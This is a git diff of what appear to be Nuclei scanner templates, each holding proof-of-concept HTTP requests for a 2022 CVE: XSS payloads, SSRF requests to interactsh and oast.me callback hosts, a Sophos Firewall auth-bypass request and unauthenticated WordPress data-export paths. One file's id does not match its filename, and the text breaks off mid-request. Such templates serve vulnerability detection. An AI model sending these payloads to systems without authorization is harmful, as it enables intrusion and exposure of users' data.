https://huntr.dev/bounties/4fb39400-e08b-47af-8c1f-5093c9a51203 + - https://github.com/rudloff/alltube/commit/bc14b6e45c766c05757fb607ef8d444cbbfba71a classification: cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N - cvss-score: 6.10 + cvss-score: 6.1 cve-id: CVE-2022-0692 cwe-id: CWE-601 - tags: cve,cve2022,redirect,rudloff,alltube -requests: + epss-score: 0.001 + epss-percentile: 0.41034 + cpe: cpe:2.3:a:alltube_project:alltube:*:*:*:*:*:*:*:* + metadata: + max-request: 1 + vendor: alltube_project + product: alltube + tags: huntr,cve,cve2022,redirect,rudloff,alltube + +http: - method: GET path: - - '{{BaseURL}}/index.php/example.com' + - '{{BaseURL}}/index.php/interact.sh' + matchers: - type: regex part: header regex: - - '(?m)^(?:Location\s*?:\s*?)(?:https?:\/\/|\/\/|\/\\\\|\/\\)?(?:[a-zA-Z0-9\-_\.@]*)example\.com\/?(\/|[^.].*)?$' # https://regex101.com/r/ZDYhFh/1 - -# Enhanced by mp on 2022/03/08 + - '(?m)^(?:Location\s*?:\s*?)(?:https?:\/\/|\/\/|\/\\\\|\/\\)(?:[a-zA-Z0-9\-_\.@]*)interact\.sh\/?(\/|[^.].*)?$' # https://regex101.com/r/L403F0/1 +# digest: 490a00463044022048b600ba60f14eae5481b645349ed7916b20e6a9ec0602049c20fe094199ae1e022032ddce8602e5d4fce8b3d0d860e0b5696bba8728e1a8de2a449ed6cc2f05f65d:922c64590222798bb761d5b6d8e72950 \ No newline at end of file diff --git a/poc/cve/CVE-2022-0776.yaml b/poc/cve/CVE-2022-0776.yaml index 206640c949..153fbe5e2b 100644 --- a/poc/cve/CVE-2022-0776.yaml +++ b/poc/cve/CVE-2022-0776.yaml @@ -1,39 +1,22 @@ id: CVE-2022-0776 - info: - name: RevealJS postMessage <4.3.0 - Cross-Site Scripting + name: RevealJS postMessage XSS author: LogicalHunter severity: medium - description: RevealJS postMessage before 4.3.0 contains a cross-site scripting vulnerability via the document object model. - remediation: | - Upgrade to RevealJS postMessage version 4.3.0 or later to mitigate this vulnerability. + description: Cross-site Scripting (XSS) - DOM in GitHub repository hakimel/reveal.js prior to 4.3.0. reference: - https://hackerone.com/reports/691977 - https://github.com/hakimel/reveal.js/pull/3137 - https://huntr.dev/bounties/be2b7ee4-f487-42e1-874a-6bcc410e4001/ - - https://nvd.nist.gov/vuln/detail/CVE-2022-0776 - - https://github.com/hakimel/reveal.js/commit/32cdd3b1872ba8e2267c9e87ae216cb55f40f4d2 classification: - cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N - cvss-score: 6.1 cve-id: CVE-2022-0776 - cwe-id: CWE-79 - epss-score: 0.001 - epss-percentile: 0.41034 - cpe: cpe:2.3:a:revealjs:reveal.js:*:*:*:*:*:node.js:*:* - metadata: - vendor: revealjs - product: reveal.js - framework: node.js - tags: hackerone,huntr,cve,cve2022,headless,postmessage,revealjs + tags: cve,cve2022,headless,postmessage,revealjs headless: - steps: - args: url: "{{BaseURL}}" action: navigate - - action: waitload - - action: script name: extract args: @@ -46,4 +29,3 @@ headless: part: extract words: - "true" -# digest: 4a0a00473045022100c52b2ed892f73566febef4f50d705347d6f552911ba934579703787429ef8c1802203a09113f9eb382ad28cef7c9ed1e95143406e478ece9e37866f5450b96036e4a:922c64590222798bb761d5b6d8e72950 \ No newline at end of file diff --git a/poc/cve/CVE-2022-0870.yaml b/poc/cve/CVE-2022-0870.yaml index 2390501eeb..b1aa655570 100644 --- a/poc/cve/CVE-2022-0870.yaml +++ b/poc/cve/CVE-2022-0870.yaml @@ -1,77 +1,46 @@ id: CVE-2022-0870 - info: - name: Gogs <0.12.5 - Server-Side Request Forgery - author: theamanrawat,Akincibor + name: Gogs - SSRF + author: Akincibor severity: medium - description: | - Gogs GitHub repository before 0.12.5 is susceptible to server-side request forgery. An attacker can possibly obtain sensitive information, modify data, and/or execute unauthorized administrative operations in the context of the affected site. - remediation: Fixed in version 0.12.5. + description: Server-Side Request Forgery (SSRF) in Gogs prior to 0.12.5. reference: + - https://huntr.dev/bounties/327797d7-ae41-498f-9bff-cc0bf98cf531/ + - https://nvd.nist.gov/vuln/detail/CVE-2022-0870 - https://github.com/gogs/gogs/commit/91f2cde5e95f146bfe4765e837e7282df6c7cabb - https://huntr.dev/bounties/327797d7-ae41-498f-9bff-cc0bf98cf531 - - https://nvd.nist.gov/vuln/detail/CVE-2022-0870 classification: cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N cvss-score: 5.3 cve-id: CVE-2022-0870 cwe-id: CWE-918 - epss-score: 0.00197 - epss-percentile: 0.57468 - cpe: cpe:2.3:a:gogs:gogs:*:*:*:*:*:*:*:* metadata: - verified: true - max-request: 4 - vendor: gogs - product: gogs - tags: cve,cve2022,ssrf,gogs,authenticated,huntr - -http: - - raw: - - | - GET /user/login HTTP/1.1 - Host: {{Hostname}} - - | - POST /user/login HTTP/1.1 - Host: {{Hostname}} - Content-Type: application/x-www-form-urlencoded - - _csrf={{csrf}}&user_name={{username}}&password={{url_encode(password)}} - - | - GET /repo/migrate HTTP/1.1 - Host: {{Hostname}} - - | - POST /repo/migrate HTTP/1.1 - Host: {{Hostname}} - Content-Type: application/x-www-form-urlencoded - - _csrf={{auth_csrf}}&clone_addr=https%3A%2F%2F{{interactsh-url}}&auth_username=&auth_password=&uid=1&repo_name={{randstr}}&description=test - - matchers-condition: and - matchers: - - type: word - part: interactsh_protocol - words: - - "dns" - - "http" - - - type: word - part: body_1 - words: - - 'content="Gogs' - + shodan-query: http.favicon.hash:-449283196 + tags: cve,cve2022,ssrf,gogs +requests: + - method: GET + path: + - "{{BaseURL}}" extractors: - type: regex - name: csrf + name: version + internal: true group: 1 regex: - - 'name="_csrf" value="(.*)"' - internal: true - + - '
\n\s+© \d{4} Gogs Version: ([\d.]+) Page:' - type: regex - name: auth_csrf group: 1 regex: - - 'name="_csrf" content="(.*)"' - internal: true -# digest: 4a0a004730450220518ced47dd5177c206ac983cd237ef5d57a0a2e2600475118e6f5da44b5ebf46022100fce9335ff7127eb825f1968d88ef6c0b2a62ba1e992ab2351d7914c1485f6fd0:922c64590222798bb761d5b6d8e72950 \ No newline at end of file + - '
\n\s+© \d{4} Gogs Version: ([\d.]+) Page:' + matchers-condition: and + matchers: + - type: regex + part: body + regex: + - '
\n\s+© \d{4} Gogs Version: ([\d.]+) Page:' + - type: dsl + dsl: + - compare_versions(version, '< 0.12.5') + - type: status + status: + - 200 diff --git a/poc/cve/CVE-2022-0921.yaml b/poc/cve/CVE-2022-0921.yaml new file mode 100644 index 0000000000..cd4e13baa8 --- /dev/null +++ b/poc/cve/CVE-2022-0921.yaml @@ -0,0 +1,57 @@ +id: CVE-2022-0954 + +info: + name: Microweber - Cross-site Scripting + author: amit-jd + severity: medium + description: | + Multiple Stored Cross-site Scripting (XSS) Vulnerabilities in Shop's Other Settings, Shop's Autorespond E-mail Settings and Shops' Payments Methods in GitHub repository microweber/microweber prior to 1.2.11. + reference: + - https://github.com/advisories/GHSA-8c76-mxv5-w4g8 + - https://huntr.dev/bounties/b99517c0-37fc-4efa-ab1a-3591da7f4d26/ + - https://github.com/microweber/microweber/commit/955471c27e671c49e4b012e3b120b004082ac3f7 + - https://nvd.nist.gov/vuln/detail/CVE-2022-0954 + classification: + cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:N + cvss-score: 5.4 + cve-id: CVE-2022-0954 + cwe-id: CWE-79 + metadata: + verified: "true" + tags: cve,cve2022,xss,microweber + +requests: + - raw: + - | + POST /api/user_login HTTP/1.1 + Host: {{Hostname}} + Content-Type: application/x-www-form-urlencoded + + username={{username}}&password={{password}} + + - | + POST /api/save_option HTTP/2 + Host: {{Hostname}} + Content-Type: application/x-www-form-urlencoded; charset=UTF-8 + Referer: {{BaseURL}}/admin/view:shop/action:options + + option_key=checkout_url&option_group=shop&option_value=%22%3E%3CiMg+SrC%3D%22x%22+oNeRRor%3D%22alert(document.domain)%3B%22%3E&module=shop%2Forders%2Fsettings%2Fother + + - | + POST /module/ HTTP/2 + Host: {{Hostname}} + Content-Type: application/x-www-form-urlencoded; charset=UTF-8 + Referer: {{BaseURL}}/admin/view:shop/action:options + + module=settings%2Fsystem_settings&id=settings_admin_mw-main-module-backend-settings-admin&class=card-body+pt-3&option_group=shop%2Forders%2Fsettings%2Fother&is_system=1&style=position%3A+relative%3B + + cookie-reuse: true + req-condition: true + matchers: + - type: dsl + dsl: + - 'contains(body_2,"true")' + - contains(body_3,'\">\" placeholder=\"Use default') + - 'contains(all_headers_3,"text/html")' + - 'status_code_3==200' + condition: and diff --git a/poc/cve/CVE-2022-0954.yaml b/poc/cve/CVE-2022-0954.yaml index cd4e13baa8..67dbd8395b 100644 --- a/poc/cve/CVE-2022-0954.yaml +++ b/poc/cve/CVE-2022-0954.yaml @@ -1,11 +1,13 @@ id: CVE-2022-0954 info: - name: Microweber - Cross-site Scripting + name: Microweber <1.2.11 - Stored Cross-Site Scripting author: amit-jd severity: medium description: | - Multiple Stored Cross-site Scripting (XSS) Vulnerabilities in Shop's Other Settings, Shop's Autorespond E-mail Settings and Shops' Payments Methods in GitHub repository microweber/microweber prior to 1.2.11. + Microweber before 1.2.1 contains multiple stored cross-site scripting vulnerabilities in Shop's Other Settings, Autorespond E-mail Settings, and Payment Methods. + remediation: | + Upgrade Microweber to version 1.2.11 or later to mitigate this vulnerability. reference: - https://github.com/advisories/GHSA-8c76-mxv5-w4g8 - https://huntr.dev/bounties/b99517c0-37fc-4efa-ab1a-3591da7f4d26/ @@ -16,11 +18,17 @@ info: cvss-score: 5.4 cve-id: CVE-2022-0954 cwe-id: CWE-79 + epss-score: 0.00144 + epss-percentile: 0.50125 + cpe: cpe:2.3:a:microweber:microweber:*:*:*:*:*:*:*:* metadata: - verified: "true" - tags: cve,cve2022,xss,microweber + verified: true + max-request: 3 + vendor: microweber + product: microweber + tags: cve,cve2022,xss,microweber,huntr -requests: +http: - raw: - | POST /api/user_login HTTP/1.1 @@ -28,7 +36,6 @@ requests: Content-Type: application/x-www-form-urlencoded username={{username}}&password={{password}} - - | POST /api/save_option HTTP/2 Host: {{Hostname}} @@ -36,7 +43,6 @@ requests: Referer: {{BaseURL}}/admin/view:shop/action:options option_key=checkout_url&option_group=shop&option_value=%22%3E%3CiMg+SrC%3D%22x%22+oNeRRor%3D%22alert(document.domain)%3B%22%3E&module=shop%2Forders%2Fsettings%2Fother - - | POST /module/ HTTP/2 Host: {{Hostname}} @@ -45,13 +51,12 @@ requests: module=settings%2Fsystem_settings&id=settings_admin_mw-main-module-backend-settings-admin&class=card-body+pt-3&option_group=shop%2Forders%2Fsettings%2Fother&is_system=1&style=position%3A+relative%3B - cookie-reuse: true - req-condition: true matchers: - type: dsl dsl: - 'contains(body_2,"true")' - contains(body_3,'\">\" placeholder=\"Use default') - - 'contains(all_headers_3,"text/html")' + - 'contains(header_3,"text/html")' - 'status_code_3==200' condition: and +# digest: 4b0a00483046022100cf9d8b061637762d248e1ebc6a68125e3b97963bcacf2aca1176b28efcd285be022100f3b7c0a695bd1bf95b227d77ed8b448316313f3c3872bc9339f4f0776b9936a2:922c64590222798bb761d5b6d8e72950 \ No newline at end of file diff --git a/poc/cve/CVE-2022-0963.yaml b/poc/cve/CVE-2022-0963.yaml index 7c470b85da..7982c258c3 100644 --- a/poc/cve/CVE-2022-0963.yaml +++ b/poc/cve/CVE-2022-0963.yaml @@ -1,35 +1,24 @@ id: CVE-2022-0963 - info: - name: Microweber <1.2.12 - Stored Cross-Site Scripting + name: Microweber > 1.2.12 - Cross-Site Scripting author: amit-jd severity: medium description: | - Microweber prior to 1.2.12 contains a stored cross-site scripting vulnerability. It allows unrestricted upload of XML files,. - remediation: | - Upgrade Microweber CMS to version 1.2.12 or later to mitigate the vulnerability. + Microweber prior to 1.2.12 allows unrestricted upload of XML files, which malicious actors can exploit to cause a stored cross-site scripting attack. reference: - https://huntr.dev/bounties/a89a4198-0880-4aa2-8439-a463f39f244c/ - https://github.com/advisories/GHSA-q3x2-jvp3-wj78 - - https://huntr.dev/bounties/a89a4198-0880-4aa2-8439-a463f39f244c - https://nvd.nist.gov/vuln/detail/CVE-2022-0963 - - https://github.com/microweber/microweber/commit/975fc1d6d3fba598ee550849ceb81af23ce72e08 + - https://huntr.dev/bounties/a89a4198-0880-4aa2-8439-a463f39f244c classification: cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:N cvss-score: 5.4 cve-id: CVE-2022-0963 cwe-id: CWE-79 - epss-score: 0.00144 - epss-percentile: 0.50125 - cpe: cpe:2.3:a:microweber:microweber:*:*:*:*:*:*:*:* metadata: - verified: true - max-request: 3 - vendor: microweber - product: microweber - tags: xss,microweber,cms,authenticated,huntr,cve,cve2022,intrusive - -http: + verified: "true" + tags: cve,cve2022,xss,microweber,cms,authenticated +requests: - raw: - | POST /api/user_login HTTP/1.1 @@ -64,7 +53,8 @@ http: - | GET /userfiles/media/default/{{to_lower("{{randstr}}")}}.xml HTTP/1.1 Host: {{Hostname}} - + req-condition: true + cookie-reuse: true matchers: - type: dsl dsl: @@ -72,4 +62,3 @@ http: - 'status_code_3==200' - 'contains(body_2,"bytes_uploaded")' condition: and -# digest: 4a0a00473045022004b21b25793c327a239a971f42df2ac99baf86946d000b26aa1416cfa266ecb7022100a96349dad89c78d6db1e8d722373d4f4543cd3a9ed18275580710e9245e7353d:922c64590222798bb761d5b6d8e72950 \ No newline at end of file diff --git a/poc/cve/CVE-2022-1040.yaml b/poc/cve/CVE-2022-1040.yaml index ee18f57913..5d4bea1f07 100644 --- a/poc/cve/CVE-2022-1040.yaml +++ b/poc/cve/CVE-2022-1040.yaml @@ -1,13 +1,10 @@ id: CVE-2022-1040 - info: name: Sophos Firewall <=18.5 MR3 - Remote Code Execution author: For3stCo1d severity: critical description: | Sophos Firewall version v18.5 MR3 and older contains an authentication bypass vulnerability in the User Portal and Webadmin which could allow a remote attacker to execute code. - remediation: | - Upgrade to a patched version of Sophos Firewall (>=18.5 MR4) to mitigate this vulnerability. reference: - https://github.com/killvxk/CVE-2022-1040 - https://github.com/CronUp/Vulnerabilidades/blob/main/CVE-2022-1040_checker @@ -18,38 +15,28 @@ info: cvss-score: 9.8 cve-id: CVE-2022-1040 cwe-id: CWE-287 - epss-score: 0.97147 - epss-percentile: 0.99748 - cpe: cpe:2.3:o:sophos:sfos:*:*:*:*:*:*:*:* metadata: verified: true - max-request: 1 - vendor: sophos - product: sfos shodan-query: http.title:"Sophos" tags: cve,cve2022,sophos,firewall,auth-bypass,rce,kev - -http: +requests: - method: POST path: - - "{{BaseURL}}/userportal/Controller?mode=8700&operation=1&datagrid=179&json={\"🦞\":\"test\"}" - + - "{{BaseURL}}/userportal/Controller?mode=8700&operation=1&datagrid=179&json={\"\U0001F99E\":\"test\"}" headers: X-Requested-With: "XMLHttpRequest" - matchers-condition: and matchers: - type: word part: body words: - "{\"status\":\"Session Expired\"}" - - type: word part: header words: - "Server: xxxx" - - type: status status: - 200 -# digest: 490a0046304402200979ae3ea766b1f5e78cf101529cbba9c50166ee87cc59aebbaf257bbdb6459f02206c20415c3f421a7502ace7b18f7fa684bf34f80d90266074db5d1cf37b8eb60a:922c64590222798bb761d5b6d8e72950 \ No newline at end of file + +# Enhanced by mp on 2022/05/19 diff --git a/poc/cve/CVE-2022-1054.yaml b/poc/cve/CVE-2022-1054.yaml index ab78ca743c..940b3ece59 100644 --- a/poc/cve/CVE-2022-1054.yaml +++ b/poc/cve/CVE-2022-1054.yaml @@ -1,12 +1,9 @@ id: CVE-2022-1054 - info: - name: WordPress RSVP and Event Management <2.7.8 - Missing Authorization + name: RSVP and Event Management < 2.7.8 - Unauthenticated Entries Export author: Akincibor severity: medium - description: WordPress RSVP and Event Management plugin before 2.7.8 is susceptible to missing authorization. The plugin does not have any authorization checks when exporting its entries, and the export function is hooked to the init action. An attacker can potentially retrieve sensitive information such as first name, last name, and email address of users registered for events, - remediation: | - Update the WordPress RSVP and Event Management plugin to version 2.7.8 or later. + description: The RSVP and Event Management Plugin WordPress plugin before 2.7.8 does not have any authorisation checks when exporting its entries, and has the export function hooked to the init action. As a result, unauthenticated attackers could call it and retrieve PII such as first name, last name and email address of user registered for events reference: - https://wpscan.com/vulnerability/95a5fad1-e823-4571-8640-19bf5436578d classification: @@ -14,21 +11,11 @@ info: cvss-score: 5.3 cve-id: CVE-2022-1054 cwe-id: CWE-862 - epss-score: 0.00292 - epss-percentile: 0.6575 - cpe: cpe:2.3:a:wpchill:rsvp_and_event_management:*:*:*:*:*:wordpress:*:* - metadata: - max-request: 1 - vendor: wpchill - product: rsvp_and_event_management - framework: wordpress - tags: wordpress,cve,cve2022,wpscan,wp,wp-plugin - -http: + tags: wp,wp-plugin,wordpress,cve,cve2022 +requests: - method: GET path: - '{{BaseURL}}/wp-admin/admin.php?page=rsvp-admin-export' - matchers-condition: and matchers: - type: word @@ -37,9 +24,6 @@ http: - 'RSVP Status' - '"First Name"' condition: and - - type: status status: - 200 - -# digest: 4a0a00473045022100d93e5a43e332f3a11992b059f3cbbc7e95ed5bd7cf5a6ffdbad30b1dce164f140220688c0af75777ad614007870c125a9b5102f34be513fbae6ef1391693df7aed67:922c64590222798bb761d5b6d8e72950 diff --git a/poc/cve/CVE-2022-1597.yaml b/poc/cve/CVE-2022-1597.yaml index 3c9b07db3c..a419e27878 100644 --- a/poc/cve/CVE-2022-1597.yaml +++ b/poc/cve/CVE-2022-1597.yaml @@ -1,38 +1,29 @@ id: CVE-2022-1597 - info: - name: WordPress WPQA <5.4 - Cross-Site Scripting + name: WPQA < 5.4 - Reflected Cross-Site Scripting author: veshraj severity: medium description: | - WordPress WPQA plugin prior to 5.4 contains a reflected cross-site scripting vulnerability. It does not sanitize and escape a parameter on its reset password form. - remediation: | - Upgrade WordPress WPQA to version 5.4 or later, which includes proper input sanitization to mitigate this vulnerability. + The plugin, used as a companion for the Discy and Himer themes, + does not sanitise and escape a parameter on its reset password + form which makes it possible to perform reflected XSS. reference: - https://wpscan.com/vulnerability/faff9484-9fc7-4300-bdad-9cd8a30a9a4e - - https://nvd.nist.gov/vuln/detail/CVE-2022-1597 + - https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2022-1597 classification: cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N cvss-score: 6.1 cve-id: CVE-2022-1597 cwe-id: CWE-79 - epss-score: 0.0025 - epss-percentile: 0.62763 - cpe: cpe:2.3:a:2code:wpqa_builder:*:*:*:*:*:wordpress:*:* metadata: - verified: true - max-request: 2 - vendor: 2code - product: wpqa_builder - framework: wordpress - google-query: inurl:/wp-content/plugins/wpqa - tags: wpscan,xss,wordpress,wp-plugin,wp,cve,cve2022,wpqa + google-dork: inurl:/wp-content/plugins/wpqa + verified: "true" + tags: xss,wordpress,wp-plugin,wp,cve,cve2022,wpqa variables: user: "{{to_lower(rand_base(5))}}" pass: "{{user}}{{to_lower(rand_base(3))}}" redirect_to: '">' - -http: +requests: - raw: - | POST /wp-admin/admin-ajax.php HTTP/1.1 @@ -48,7 +39,6 @@ http: Content-Type: application/x-www-form-urlencoded user_mail={{user}}@{{Host}}&form_type=wpqa_forget&action=wpqa_ajax_password_process&redirect_to={{url_encode(redirect_to)}} - matchers-condition: and matchers: - type: word @@ -57,13 +47,10 @@ http: - '{{redirect_to}}' - '"success":1' condition: and - - type: word part: header words: - text/html - - type: status status: - 200 -# digest: 4b0a00483046022100a5419ca2df78e712c32c8113f2e791f2260bee01da8917c3c2d24c2d9b9be022022100e43351469d784605a404281d2054a5b85fc43edb76778bedb508728bc967175d:922c64590222798bb761d5b6d8e72950 \ No newline at end of file diff --git a/poc/cve/CVE-2022-1598.yaml b/poc/cve/CVE-2022-1598.yaml index 99244bff5c..06b5a78a29 100644 --- a/poc/cve/CVE-2022-1598.yaml +++ b/poc/cve/CVE-2022-1598.yaml @@ -1,39 +1,23 @@ id: CVE-2022-1598 - info: - name: WordPress WPQA <5.5 - Improper Access Control + name: WordPress Plugin WPQA < 5.5 - Unauthenticated Private Message Disclosure author: veshraj - severity: medium + severity: high description: | - WordPress WPQA plugin before 5.5 is susceptible to improper access control. The plugin lacks authentication in a REST API endpoint. An attacker can potentially discover private questions sent between users on the site. - remediation: | - Update the WPQA plugin to version 5.5 or later to fix the improper access control issue. + The plugin which is a companion to the Discy and Himer themes, lacks authentication in a REST API endpoint, allowing unauthenticated users to discover private questions sent between users on the site. reference: - https://wpscan.com/vulnerability/0416ae2f-5670-4080-a88d-3484bb19d8c8 - https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2022-1598 - - https://nvd.nist.gov/vuln/detail/CVE-2022-1598 classification: - cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N - cvss-score: 5.3 cve-id: CVE-2022-1598 - cwe-id: CWE-306 - epss-score: 0.01952 - epss-percentile: 0.87383 - cpe: cpe:2.3:a:2code:wpqa_builder:*:*:*:*:*:wordpress:*:* metadata: verified: true - max-request: 1 - vendor: 2code - product: wpqa_builder - framework: wordpress - google-query: inurl:/wp-content/plugins/wpqa - tags: cve,cve2022,wordpress,wp-plugin,wpqa,idor,wpscan - -http: + google-dork: inurl:/wp-content/plugins/wpqa + tags: cve,cve2022,wordpress,wp-plugin,wpqa,idor +requests: - method: GET path: - '{{BaseURL}}/wp-json/wp/v2/asked-question' - matchers-condition: and matchers: - type: word @@ -42,8 +26,6 @@ http: - '"id":' - '"rendered":' condition: and - - type: status status: - 200 -# digest: 4a0a004730450221009fe0d62595a4a31f4fe07cab7e773a35aacfb32ffae1d2ab61859dcf31b3462202205a6019f0d0f882bf7c941de8de86db370bf4e4acc9ded388acb4ada75b7e4d66:922c64590222798bb761d5b6d8e72950 \ No newline at end of file diff --git a/poc/cve/CVE-2022-1713.yaml b/poc/cve/CVE-2022-1713.yaml index 020db3ac09..0aeff612ed 100644 --- a/poc/cve/CVE-2022-1713.yaml +++ b/poc/cve/CVE-2022-1713.yaml @@ -1,10 +1,13 @@ id: CVE-2022-1713 + info: name: Drawio <18.0.4 - Server-Side Request Forgery author: pikpikcu severity: high description: | Drawio prior to 18.0.4 is vulnerable to server-side request forgery. An attacker can make a request as the server and read its contents. This can lead to a leak of sensitive information. + remediation: | + Upgrade Drawio to version 18.0.4 or later to mitigate the SSRF vulnerability. reference: - https://huntr.dev/bounties/cad3902f-3afb-4ed2-abd0-9f96a248de11 - https://github.com/jgraph/drawio/commit/283d41ec80ad410d68634245cf56114bc19331ee @@ -14,24 +17,32 @@ info: cvss-score: 7.5 cve-id: CVE-2022-1713 cwe-id: CWE-918 + epss-score: 0.01291 + epss-percentile: 0.84282 + cpe: cpe:2.3:a:diagrams:drawio:*:*:*:*:*:*:*:* metadata: verified: true + max-request: 1 + vendor: diagrams + product: drawio shodan-query: http.title:"Flowchart Maker" - tags: cve,cve2022,drawio,ssrf,oss -requests: + tags: drawio,ssrf,oss,huntr,cve,cve2022 + +http: - raw: - | GET /proxy?url=http%3a//0:8080/ HTTP/1.1 Host: {{Hostname}} + matchers-condition: and matchers: - type: word part: body words: - "Flowchart Maker & Online Diagram Software" + - type: word part: header words: - "application/octet-stream" - -# Enhanced by mp on 2022/06/29 +# digest: 4a0a004730450220340503229df1c391b0a3802f5fed307ea9a4341970e8fae14d6f08c6705faf5c022100865d51f43b0937a1ae282797d67abeba4a89355d9532f4f74ff10f841b44c78c:922c64590222798bb761d5b6d8e72950 \ No newline at end of file diff --git a/poc/cve/CVE-2022-1724.yaml b/poc/cve/CVE-2022-1724.yaml index a8bb926031..7251ab6e5a 100644 --- a/poc/cve/CVE-2022-1724.yaml +++ b/poc/cve/CVE-2022-1724.yaml @@ -1,9 +1,12 @@ id: CVE-2022-1724 + info: - name: Simple Membership < 4.1.1 - Reflected Cross-Site Scripting + name: WordPress Simple Membership <4.1.1 - Cross-Site Scripting author: Akincibor severity: medium - description: The plugin does not properly sanitise and escape parameters before outputting them back in AJAX actions, leading to Reflected Cross-Site Scripting. + description: WordPress Simple Membership plugin before 4.1.1 contains a reflected cross-site scripting vulnerability. It does not properly sanitize and escape parameters before outputting them back in AJAX actions. + remediation: | + Update to the latest version of WordPress Simple Membership plugin (4.1.1 or higher) to mitigate the vulnerability. reference: - https://wpscan.com/vulnerability/96a0a667-9c4b-4ea6-b78a-0681e9a9bbae - https://nvd.nist.gov/vuln/detail/CVE-2022-1724 @@ -12,23 +15,35 @@ info: cvss-score: 6.1 cve-id: CVE-2022-1724 cwe-id: CWE-79 + epss-score: 0.00141 + epss-percentile: 0.49726 + cpe: cpe:2.3:a:simple-membership-plugin:simple_membership:*:*:*:*:*:wordpress:*:* metadata: - verified: "true" - tags: cve,cve2022,wp-plugin,xss,wp,wordpress -requests: + verified: true + max-request: 1 + vendor: simple-membership-plugin + product: simple_membership + framework: wordpress + tags: xss,wp,wordpress,wpscan,cve,cve2022,wp-plugin + +http: - method: GET path: - '{{BaseURL}}/wp-admin/admin-ajax.php?action=swpm_validate_email&fieldId=%22%3Cscript%3Ealert(document.domain)%3C/script%3E' + matchers-condition: and matchers: - type: word part: body words: - '"",' + - type: word part: header words: - text/html + - type: status status: - 200 +# digest: 4b0a00483046022100f9561c9dd5c5f990d5690b9c01988127abff13dfc9d5bb7b6eface30d248b5a3022100d7f938ee61a11ea132cccdd0de9db6f04dbbe9fe590b3057b342184e5abbc578:922c64590222798bb761d5b6d8e72950 \ No newline at end of file diff --git a/poc/cve/CVE-2022-1815.yaml b/poc/cve/CVE-2022-1815.yaml index 84ecd0837f..62e23a8e4b 100644 --- a/poc/cve/CVE-2022-1815.yaml +++ b/poc/cve/CVE-2022-1815.yaml @@ -1,43 +1,31 @@ id: CVE-2022-1815 - info: - name: Drawio <18.1.2 - Server-Side Request Forgery + name: Drawio < 18.1.2 - Server Side Request Forgery author: amit-jd severity: high description: | - Drawio before 18.1.2 is susceptible to server-side request forgery via the /service endpoint in jgraph/drawio. An attacker can possibly obtain sensitive information, modify data, and/or execute unauthorized administrative operations in the context of the affected site. - remediation: | - Upgrade Drawio to version 18.1.2 or later to mitigate the SSRF vulnerability. + SSRF in /service endpoint in jgraph/drawio prior to 18.1.2. Exposure of Sensitive Information to an Unauthorized Actor in GitHub repository jgraph/drawio prior to 18.1.2. reference: - https://huntr.dev/bounties/6e856a25-9117-47c6-9375-52f78876902f/ + - https://nvd.nist.gov/vuln/detail/CVE-2022-1815 - https://huntr.dev/bounties/6e856a25-9117-47c6-9375-52f78876902f - https://github.com/jgraph/drawio/commit/c287bef9101d024b1fd59d55ecd530f25000f9d8 - - https://nvd.nist.gov/vuln/detail/CVE-2022-1815 classification: cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N cvss-score: 7.5 cve-id: CVE-2022-1815 - cwe-id: CWE-918,CWE-200 - epss-score: 0.00928 - epss-percentile: 0.81192 - cpe: cpe:2.3:a:diagrams:drawio:*:*:*:*:*:*:*:* + cwe-id: CWE-918 metadata: - verified: true - max-request: 1 - vendor: diagrams - product: drawio - tags: huntr,cve,cve2022,drawio,ssrf,oast,oss,jgraph - -http: + verified: "true" + tags: cve,cve2022,drawio,ssrf,oast,oss,jgraph +requests: - raw: - | GET /service/0/test.oast.me HTTP/2 Host: {{Hostname}} - matchers: - type: dsl dsl: - "contains(body, 'Interactsh Server')" - status_code == 200 condition: and -# digest: 4b0a00483046022100d4ba06ac28c9b4f15664de0f9a92cbf82be72e59f1ee5f7cd05ee7bfb1fa0c5302210095c69ffd14c4dbce38eb99024acf9531a54794807648fbc8fb2df05ade57dec9:922c64590222798bb761d5b6d8e72950 \ No newline at end of file diff --git a/poc/cve/CVE-2022-1906.yaml b/poc/cve/CVE-2022-1906.yaml index e16db83122..0de7988bdc 100644 --- a/poc/cve/CVE-2022-1906.yaml +++ b/poc/cve/CVE-2022-1906.yaml @@ -1,39 +1,28 @@ id: CVE-2022-1906 - info: - name: WordPress Copyright Proof <=4.16 - Cross-Site-Scripting + name: Copyright Proof <= 4.16 - Reflected Cross-Site-Scripting author: random-robbie severity: medium description: | - WordPress Copyright Proof plugin 4.16 and prior contains a cross-site scripting vulnerability. It does not sanitize and escape a parameter before outputting it back via an AJAX action available to both unauthenticated and authenticated users when a specific setting is enabled. - remediation: | - Update to the latest version of WordPress Copyright Proof plugin (>=4.17) which includes proper input sanitization and validation. + The plugin does not sanitise and escape a parameter before outputting it back via an AJAX action available to both unauthenticated and authenticated users, leading to a Reflected Cross-Site Scripting when a specific setting is enabled. reference: - https://wpscan.com/vulnerability/af4f459e-e60b-4384-aad9-0dc18aa3b338 - https://nvd.nist.gov/vuln/detail/CVE-2022-1906 + - https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2022-1906 classification: cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N cvss-score: 6.1 cve-id: CVE-2022-1906 cwe-id: CWE-79 - epss-score: 0.00097 - epss-percentile: 0.40336 - cpe: cpe:2.3:a:digiprove:copyright_proof:*:*:*:*:*:wordpress:*:* metadata: - verified: true - max-request: 1 - vendor: digiprove - product: copyright_proof - framework: wordpress - google-query: inurl:/wp-content/plugins/digiproveblog - tags: wordpress,xss,wp-plugin,wp,wpscan,cve,cve2022 - -http: + google-dork: inurl:/wp-content/plugins/digiproveblog + verified: "true" + tags: cve,cve2022,wordpress,xss,wp-plugin,wp +requests: - raw: - | GET 